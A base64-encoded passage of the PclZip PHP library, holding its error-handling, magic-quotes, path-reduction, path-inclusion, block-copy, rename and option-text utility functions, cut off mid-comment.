ICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RXJyb3JMb2coKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZFcnJvckxvZygkcF9lcnJvcl9jb2RlPTAsICRwX2Vycm9yX3N0cmluZz0nJykKICB7CiAgICBpZiAoUENMWklQX0VSUk9SX0VYVEVSTkFMID09IDEpIHsKICAgICAgUGNsRXJyb3IoJHBfZXJyb3JfY29kZSwgJHBfZXJyb3Jfc3RyaW5nKTsKICAgIH0KICAgIGVsc2UgewogICAgICAkdGhpcy0+ZXJyb3JfY29kZSA9ICRwX2Vycm9yX2NvZGU7CiAgICAgICR0aGlzLT5lcnJvcl9zdHJpbmcgPSAkcF9lcnJvcl9zdHJpbmc7CiAgICB9CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RXJyb3JSZXNldCgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdkVycm9yUmVzZXQoKQogIHsKICAgIGlmIChQQ0xaSVBfRVJST1JfRVhURVJOQUwgPT0gMSkgewogICAgICBQY2xFcnJvclJlc2V0KCk7CiAgICB9CiAgICBlbHNlIHsKICAgICAgJHRoaXMtPmVycm9yX2NvZGUgPSAwOwogICAgICAkdGhpcy0+ZXJyb3Jfc3RyaW5nID0gJyc7CiAgICB9CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2RGlzYWJsZU1hZ2ljUXVvdGVzKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBwcml2RGlzYWJsZU1hZ2ljUXVvdGVzKCkKICB7CiAgICAkdl9yZXN1bHQ9MTsKCiAgICAvLyAtLS0tLSBMb29rIGlmIGZ1bmN0aW9uIGV4aXN0cwogICAgaWYgKCAgICghZnVuY3Rpb25fZXhpc3RzKCJnZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUiKSkKCSAgICB8fCAoIWZ1bmN0aW9uX2V4aXN0cygic2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIikpKSB7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7Cgl9CgogICAgLy8gLS0tLS0gTG9vayBpZiBhbHJlYWR5IGRvbmUKICAgIGlmICgkdGhpcy0+bWFnaWNfcXVvdGVzX3N0YXR1cyAhPSAtMSkgewogICAgICByZXR1cm4gJHZfcmVzdWx0OwoJfQoKCS8vIC0tLS0tIEdldCBhbmQgbWVtb3JpemUgdGhlIG1hZ2ljX3F1b3RlIHZhbHVlCgkkdGhpcy0+bWFnaWNfcXVvdGVzX3N0YXR1cyA9IEBnZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoKTsKCgkvLyAtLS0tLSBEaXNhYmxlIG1hZ2ljX3F1b3RlcwoJaWYgKCR0aGlzLT5tYWdpY19xdW90ZXNfc3RhdHVzID09IDEpIHsKCSAgQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKCX0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2U3dhcEJhY2tNYWdpY1F1b3RlcygpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdlN3YXBCYWNrTWFnaWNRdW90ZXMoKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIExvb2sgaWYgZnVuY3Rpb24gZXhpc3RzCiAgICBpZiAoICAgKCFmdW5jdGlvbl9leGlzdHMoImdldF9tYWdpY19xdW90ZXNfcnVudGltZSIpKQoJICAgIHx8ICghZnVuY3Rpb25fZXhpc3RzKCJzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUiKSkpIHsKICAgICAgcmV0dXJuICR2X3Jlc3VsdDsKCX0KCiAgICAvLyAtLS0tLSBMb29rIGlmIHNvbWV0aGluZyB0byBkbwogICAgaWYgKCR0aGlzLT5tYWdpY19xdW90ZXNfc3RhdHVzICE9IC0xKSB7CiAgICAgIHJldHVybiAkdl9yZXN1bHQ7Cgl9CgoJLy8gLS0tLS0gU3dhcCBiYWNrIG1hZ2ljX3F1b3RlcwoJaWYgKCR0aGlzLT5tYWdpY19xdW90ZXNfc3RhdHVzID09IDEpIHsKICAJICBAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCR0aGlzLT5tYWdpY19xdW90ZXNfc3RhdHVzKTsKCX0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIH0KICAvLyBFbmQgb2YgY2xhc3MKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogUGNsWmlwVXRpbFBhdGhSZWR1Y3Rpb24oKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIFBjbFppcFV0aWxQYXRoUmVkdWN0aW9uKCRwX2RpcikKICB7CiAgICAkdl9yZXN1bHQgPSAiIjsKCiAgICAvLyAtLS0tLSBMb29rIGZvciBub3QgZW1wdHkgcGF0aAogICAgaWYgKCRwX2RpciAhPSAiIikgewogICAgICAvLyAtLS0tLSBFeHBsb2RlIHBhdGggYnkgZGlyZWN0b3J5IG5hbWVzCiAgICAgICR2X2xpc3QgPSBleHBsb2RlKCIvIiwgJHBfZGlyKTsKCiAgICAgIC8vIC0tLS0tIFN0dWR5IGRpcmVjdG9yaWVzIGZyb20gbGFzdCB0byBmaXJzdAogICAgICAkdl9za2lwID0gMDsKICAgICAgZm9yICgkaT1zaXplb2YoJHZfbGlzdCktMTsgJGk+PTA7ICRpLS0pIHsKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBjdXJyZW50IHBhdGgKICAgICAgICBpZiAoJHZfbGlzdFskaV0gPT0gIi4iKSB7CiAgICAgICAgICAvLyAtLS0tLSBJZ25vcmUgdGhpcyBkaXJlY3RvcnkKICAgICAgICAgIC8vIFNob3VsZCBiZSB0aGUgZmlyc3QgJGk9MCwgYnV0IG5vIGNoZWNrIGlzIGRvbmUKICAgICAgICB9CiAgICAgICAgZWxzZSBpZiAoJHZfbGlzdFskaV0gPT0gIi4uIikgewoJCSAgJHZfc2tpcCsrOwogICAgICAgIH0KICAgICAgICBlbHNlIGlmICgkdl9saXN0WyRpXSA9PSAiIikgewoJCSAgLy8gLS0tLS0gRmlyc3QgJy8nIGkuZS4gcm9vdCBzbGFzaAoJCSAgaWYgKCRpID09IDApIHsKICAgICAgICAgICAgJHZfcmVzdWx0ID0gIi8iLiR2X3Jlc3VsdDsKCQkgICAgaWYgKCR2X3NraXAgPiAwKSB7CgkJICAgICAgICAvLyAtLS0tLSBJdCBpcyBhbiBpbnZhbGlkIHBhdGgsIHNvIHRoZSBwYXRoIGlzIG5vdCBtb2RpZmllZAoJCSAgICAgICAgLy8gVEJDCgkJICAgICAgICAkdl9yZXN1bHQgPSAkcF9kaXI7CiAgICAgICAgICAgICAgICAkdl9za2lwID0gMDsKCQkgICAgfQoJCSAgfQoJCSAgLy8gLS0tLS0gTGFzdCAnLycgaS5lLiBpbmRpY2F0ZXMgYSBkaXJlY3RvcnkKCQkgIGVsc2UgaWYgKCRpID09IChzaXplb2YoJHZfbGlzdCktMSkpIHsKICAgICAgICAgICAgJHZfcmVzdWx0ID0gJHZfbGlzdFskaV07CgkJICB9CgkJICAvLyAtLS0tLSBEb3VibGUgJy8nIGluc2lkZSB0aGUgcGF0aAoJCSAgZWxzZSB7CiAgICAgICAgICAgIC8vIC0tLS0tIElnbm9yZSBvbmx5IHRoZSBkb3VibGUgJy8vJyBpbiBwYXRoLAogICAgICAgICAgICAvLyBidXQgbm90IHRoZSBmaXJzdCBhbmQgbGFzdCAnLycKCQkgIH0KICAgICAgICB9CiAgICAgICAgZWxzZSB7CgkJICAvLyAtLS0tLSBMb29rIGZvciBpdGVtIHRvIHNraXAKCQkgIGlmICgkdl9za2lwID4gMCkgewoJCSAgICAkdl9za2lwLS07CgkJICB9CgkJICBlbHNlIHsKICAgICAgICAgICAgJHZfcmVzdWx0ID0gJHZfbGlzdFskaV0uKCRpIT0oc2l6ZW9mKCR2X2xpc3QpLTEpPyIvIi4kdl9yZXN1bHQ6IiIpOwoJCSAgfQogICAgICAgIH0KICAgICAgfQoKICAgICAgLy8gLS0tLS0gTG9vayBmb3Igc2tpcAogICAgICBpZiAoJHZfc2tpcCA+IDApIHsKICAgICAgICB3aGlsZSAoJHZfc2tpcCA+IDApIHsKICAgICAgICAgICAgJHZfcmVzdWx0ID0gJy4uLycuJHZfcmVzdWx0OwogICAgICAgICAgICAkdl9za2lwLS07CiAgICAgICAgfQogICAgICB9CiAgICB9CgogICAgLy8gLS0tLS0gUmV0dXJuCiAgICByZXR1cm4gJHZfcmVzdWx0OwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogUGNsWmlwVXRpbFBhdGhJbmNsdXNpb24oKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgZnVuY3Rpb24gaW5kaWNhdGVzIGlmIHRoZSBwYXRoICRwX3BhdGggaXMgdW5kZXIgdGhlICRwX2RpciB0cmVlLiBPciwKICAvLyAgIHNhaWQgaW4gYW4gb3RoZXIgd2F5LCBpZiB0aGUgZmlsZSBvciBzdWItZGlyICRwX3BhdGggaXMgaW5zaWRlIHRoZSBkaXIKICAvLyAgICRwX2Rpci4KICAvLyAgIFRoZSBmdW5jdGlvbiBpbmRpY2F0ZXMgYWxzbyBpZiB0aGUgcGF0aCBpcyBleGFjdGx5IHRoZSBzYW1lIGFzIHRoZSBkaXIuCiAgLy8gICBUaGlzIGZ1bmN0aW9uIHN1cHBvcnRzIHBhdGggd2l0aCBkdXBsaWNhdGVkICcvJyBsaWtlICcvLycsIGJ1dCBkb2VzIG5vdAogIC8vICAgc3VwcG9ydCAnLicgb3IgJy4uJyBzdGF0ZW1lbnRzLgogIC8vIFBhcmFtZXRlcnMgOgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vICAgMCBpZiAkcF9wYXRoIGlzIG5vdCBpbnNpZGUgZGlyZWN0b3J5ICRwX2RpcgogIC8vICAgMSBpZiAkcF9wYXRoIGlzIGluc2lkZSBkaXJlY3RvcnkgJHBfZGlyCiAgLy8gICAyIGlmICRwX3BhdGggaXMgZXhhY3RseSB0aGUgc2FtZSBhcyAkcF9kaXIKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIFBjbFppcFV0aWxQYXRoSW5jbHVzaW9uKCRwX2RpciwgJHBfcGF0aCkKICB7CiAgICAkdl9yZXN1bHQgPSAxOwoKICAgIC8vIC0tLS0tIExvb2sgZm9yIHBhdGggYmVnaW5uaW5nIGJ5IC4vCiAgICBpZiAoICAgKCRwX2RpciA9PSAnLicpCiAgICAgICAgfHwgKChzdHJsZW4oJHBfZGlyKSA+PTIpICYmIChzdWJzdHIoJHBfZGlyLCAwLCAyKSA9PSAnLi8nKSkpIHsKICAgICAgJHBfZGlyID0gUGNsWmlwVXRpbFRyYW5zbGF0ZVdpblBhdGgoZ2V0Y3dkKCksIEZBTFNFKS4nLycuc3Vic3RyKCRwX2RpciwgMSk7CiAgICB9CiAgICBpZiAoICAgKCRwX3BhdGggPT0gJy4nKQogICAgICAgIHx8ICgoc3RybGVuKCRwX3BhdGgpID49MikgJiYgKHN1YnN0cigkcF9wYXRoLCAwLCAyKSA9PSAnLi8nKSkpIHsKICAgICAgJHBfcGF0aCA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKGdldGN3ZCgpLCBGQUxTRSkuJy8nLnN1YnN0cigkcF9wYXRoLCAxKTsKICAgIH0KCiAgICAvLyAtLS0tLSBFeHBsb2RlIGRpciBhbmQgcGF0aCBieSBkaXJlY3Rvcnkgc2VwYXJhdG9yCiAgICAkdl9saXN0X2RpciA9IGV4cGxvZGUoIi8iLCAkcF9kaXIpOwogICAgJHZfbGlzdF9kaXJfc2l6ZSA9IHNpemVvZigkdl9saXN0X2Rpcik7CiAgICAkdl9saXN0X3BhdGggPSBleHBsb2RlKCIvIiwgJHBfcGF0aCk7CiAgICAkdl9saXN0X3BhdGhfc2l6ZSA9IHNpemVvZigkdl9saXN0X3BhdGgpOwoKICAgIC8vIC0tLS0tIFN0dWR5IGRpcmVjdG9yaWVzIHBhdGhzCiAgICAkaSA9IDA7CiAgICAkaiA9IDA7CiAgICB3aGlsZSAoKCRpIDwgJHZfbGlzdF9kaXJfc2l6ZSkgJiYgKCRqIDwgJHZfbGlzdF9wYXRoX3NpemUpICYmICgkdl9yZXN1bHQpKSB7CgogICAgICAvLyAtLS0tLSBMb29rIGZvciBlbXB0eSBkaXIgKHBhdGggcmVkdWN0aW9uKQogICAgICBpZiAoJHZfbGlzdF9kaXJbJGldID09ICcnKSB7CiAgICAgICAgJGkrKzsKICAgICAgICBjb250aW51ZTsKICAgICAgfQogICAgICBpZiAoJHZfbGlzdF9wYXRoWyRqXSA9PSAnJykgewogICAgICAgICRqKys7CiAgICAgICAgY29udGludWU7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIENvbXBhcmUgdGhlIGl0ZW1zCiAgICAgIGlmICgoJHZfbGlzdF9kaXJbJGldICE9ICR2X2xpc3RfcGF0aFskal0pICYmICgkdl9saXN0X2RpclskaV0gIT0gJycpICYmICggJHZfbGlzdF9wYXRoWyRqXSAhPSAnJykpICB7CiAgICAgICAgJHZfcmVzdWx0ID0gMDsKICAgICAgfQoKICAgICAgLy8gLS0tLS0gTmV4dCBpdGVtcwogICAgICAkaSsrOwogICAgICAkaisrOwogICAgfQoKICAgIC8vIC0tLS0tIExvb2sgaWYgZXZlcnl0aGluZyBzZWVtcyB0byBiZSB0aGUgc2FtZQogICAgaWYgKCR2X3Jlc3VsdCkgewogICAgICAvLyAtLS0tLSBTa2lwIGFsbCB0aGUgZW1wdHkgaXRlbXMKICAgICAgd2hpbGUgKCgkaiA8ICR2X2xpc3RfcGF0aF9zaXplKSAmJiAoJHZfbGlzdF9wYXRoWyRqXSA9PSAnJykpICRqKys7CiAgICAgIHdoaWxlICgoJGkgPCAkdl9saXN0X2Rpcl9zaXplKSAmJiAoJHZfbGlzdF9kaXJbJGldID09ICcnKSkgJGkrKzsKCiAgICAgIGlmICgoJGkgPj0gJHZfbGlzdF9kaXJfc2l6ZSkgJiYgKCRqID49ICR2X2xpc3RfcGF0aF9zaXplKSkgewogICAgICAgIC8vIC0tLS0tIFRoZXJlIGFyZSBleGFjdGx5IHRoZSBzYW1lCiAgICAgICAgJHZfcmVzdWx0ID0gMjsKICAgICAgfQogICAgICBlbHNlIGlmICgkaSA8ICR2X2xpc3RfZGlyX3NpemUpIHsKICAgICAgICAvLyAtLS0tLSBUaGUgcGF0aCBpcyBzaG9ydGVyIHRoYW4gdGhlIGRpcgogICAgICAgICR2X3Jlc3VsdCA9IDA7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBQY2xaaXBVdGlsQ29weUJsb2NrKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICAkcF9tb2RlIDogcmVhZC93cml0ZSBjb21wcmVzc2lvbiBtb2RlCiAgLy8gICAgICAgICAgICAgMCA6IHNyYyAmIGRlc3Qgbm9ybWFsCiAgLy8gICAgICAgICAgICAgMSA6IHNyYyBnemlwLCBkZXN0IG5vcm1hbAogIC8vICAgICAgICAgICAgIDIgOiBzcmMgbm9ybWFsLCBkZXN0IGd6aXAKICAvLyAgICAgICAgICAgICAzIDogc3JjICYgZGVzdCBnemlwCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBQY2xaaXBVdGlsQ29weUJsb2NrKCRwX3NyYywgJHBfZGVzdCwgJHBfc2l6ZSwgJHBfbW9kZT0wKQogIHsKICAgICR2X3Jlc3VsdCA9IDE7CgogICAgaWYgKCRwX21vZGU9PTApCiAgICB7CiAgICAgIHdoaWxlICgkcF9zaXplICE9IDApCiAgICAgIHsKICAgICAgICAkdl9yZWFkX3NpemUgPSAoJHBfc2l6ZSA8IFBDTFpJUF9SRUFEX0JMT0NLX1NJWkUgPyAkcF9zaXplIDogUENMWklQX1JFQURfQkxPQ0tfU0laRSk7CiAgICAgICAgJHZfYnVmZmVyID0gQGZyZWFkKCRwX3NyYywgJHZfcmVhZF9zaXplKTsKICAgICAgICBAZndyaXRlKCRwX2Rlc3QsICR2X2J1ZmZlciwgJHZfcmVhZF9zaXplKTsKICAgICAgICAkcF9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgICAgfQogICAgfQogICAgZWxzZSBpZiAoJHBfbW9kZT09MSkKICAgIHsKICAgICAgd2hpbGUgKCRwX3NpemUgIT0gMCkKICAgICAgewogICAgICAgICR2X3JlYWRfc2l6ZSA9ICgkcF9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICRwX3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgICAkdl9idWZmZXIgPSBAZ3pyZWFkKCRwX3NyYywgJHZfcmVhZF9zaXplKTsKICAgICAgICBAZndyaXRlKCRwX2Rlc3QsICR2X2J1ZmZlciwgJHZfcmVhZF9zaXplKTsKICAgICAgICAkcF9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgICAgfQogICAgfQogICAgZWxzZSBpZiAoJHBfbW9kZT09MikKICAgIHsKICAgICAgd2hpbGUgKCRwX3NpemUgIT0gMCkKICAgICAgewogICAgICAgICR2X3JlYWRfc2l6ZSA9ICgkcF9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICRwX3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgICAkdl9idWZmZXIgPSBAZnJlYWQoJHBfc3JjLCAkdl9yZWFkX3NpemUpOwogICAgICAgIEBnendyaXRlKCRwX2Rlc3QsICR2X2J1ZmZlciwgJHZfcmVhZF9zaXplKTsKICAgICAgICAkcF9zaXplIC09ICR2X3JlYWRfc2l6ZTsKICAgICAgfQogICAgfQogICAgZWxzZSBpZiAoJHBfbW9kZT09MykKICAgIHsKICAgICAgd2hpbGUgKCRwX3NpemUgIT0gMCkKICAgICAgewogICAgICAgICR2X3JlYWRfc2l6ZSA9ICgkcF9zaXplIDwgUENMWklQX1JFQURfQkxPQ0tfU0laRSA/ICRwX3NpemUgOiBQQ0xaSVBfUkVBRF9CTE9DS19TSVpFKTsKICAgICAgICAkdl9idWZmZXIgPSBAZ3pyZWFkKCRwX3NyYywgJHZfcmVhZF9zaXplKTsKICAgICAgICBAZ3p3cml0ZSgkcF9kZXN0LCAkdl9idWZmZXIsICR2X3JlYWRfc2l6ZSk7CiAgICAgICAgJHBfc2l6ZSAtPSAkdl9yZWFkX3NpemU7CiAgICAgIH0KICAgIH0KCiAgICAvLyAtLS0tLSBSZXR1cm4KICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBQY2xaaXBVdGlsUmVuYW1lKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICBUaGlzIGZ1bmN0aW9uIHRyaWVzIHRvIGRvIGEgc2ltcGxlIHJlbmFtZSgpIGZ1bmN0aW9uLiBJZiBpdCBmYWlscywgaXQKICAvLyAgIHRyaWVzIHRvIGNvcHkgdGhlICRwX3NyYyBmaWxlIGluIGEgbmV3ICRwX2Rlc3QgZmlsZSBhbmQgdGhlbiB1bmxpbmsgdGhlCiAgLy8gICBmaXJzdCBvbmUuCiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gICAkcF9zcmMgOiBPbGQgZmlsZW5hbWUKICAvLyAgICRwX2Rlc3QgOiBOZXcgZmlsZW5hbWUKICAvLyBSZXR1cm4gVmFsdWVzIDoKICAvLyAgIDEgb24gc3VjY2VzcywgMCBvbiBmYWlsdXJlLgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gUGNsWmlwVXRpbFJlbmFtZSgkcF9zcmMsICRwX2Rlc3QpCiAgewogICAgJHZfcmVzdWx0ID0gMTsKCiAgICAvLyAtLS0tLSBUcnkgdG8gcmVuYW1lIHRoZSBmaWxlcwogICAgaWYgKCFAcmVuYW1lKCRwX3NyYywgJHBfZGVzdCkpIHsKCiAgICAgIC8vIC0tLS0tIFRyeSB0byBjb3B5ICYgdW5saW5rIHRoZSBzcmMKICAgICAgaWYgKCFAY29weSgkcF9zcmMsICRwX2Rlc3QpKSB7CiAgICAgICAgJHZfcmVzdWx0ID0gMDsKICAgICAgfQogICAgICBlbHNlIGlmICghQHVubGluaygkcF9zcmMpKSB7CiAgICAgICAgJHZfcmVzdWx0ID0gMDsKICAgICAgfQogICAgfQoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IFBjbFppcFV0aWxPcHRpb25UZXh0KCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gICBUcmFuc2xhdGUgb3B0aW9uIHZhbHVlIGluIHRleHQuIE1haW5seSBmb3IgZGVidWcgcHVycG9zZS4KICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAgICRwX29wdGlvbiA6IHRoZSBvcHRpb24gdmFsdWUuCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gICBUaGUgb3B0aW9uIHRleHQgdmFsdWUuCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBQY2xaaXBVdGlsT3B0aW9uVGV4dCgkcF9vcHRpb24pCiAgewoKICAgICR2X2xpc3QgPSBnZXRfZGVmaW5lZF9jb25zdGFudHMoKTsKICAgIGZvciAocmVzZXQoJHZfbGlzdCk7ICR2X2tleSA9IGtleSgkdl9saXN0KTsgbmV4dCgkdl9saXN0KSkgewoJICAgICR2X3ByZWZpeCA9IHN1YnN0cigkdl9rZXksIDAsIDEwKTsKCSAgICBpZiAoKCAgICgkdl9wcmVmaXggPT0gJ1BDTFpJUF9PUFQnKQogICAgICAgICAgIHx8ICgkdl9wcmVmaXggPT0gJ1BDTFpJUF9DQl8nKQogICAgICAgICAgIHx8ICgkdl9wcmVmaXggPT0gJ1BDTFpJUF9BVFQnKSkKCSAgICAgICAgJiYgKCR2X2xpc3RbJHZfa2V5XSA9PSAkcF9vcHRpb24pKSB7CiAgICAgICAgcmV0dXJuICR2X2tleTsKCSAgICB9CiAgICB9CgogICAgJHZfcmVzdWx0ID0gJ1Vua25vd24nOwoKICAgIHJldHVybiAkdl9yZXN1bHQ7CiAgfQogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL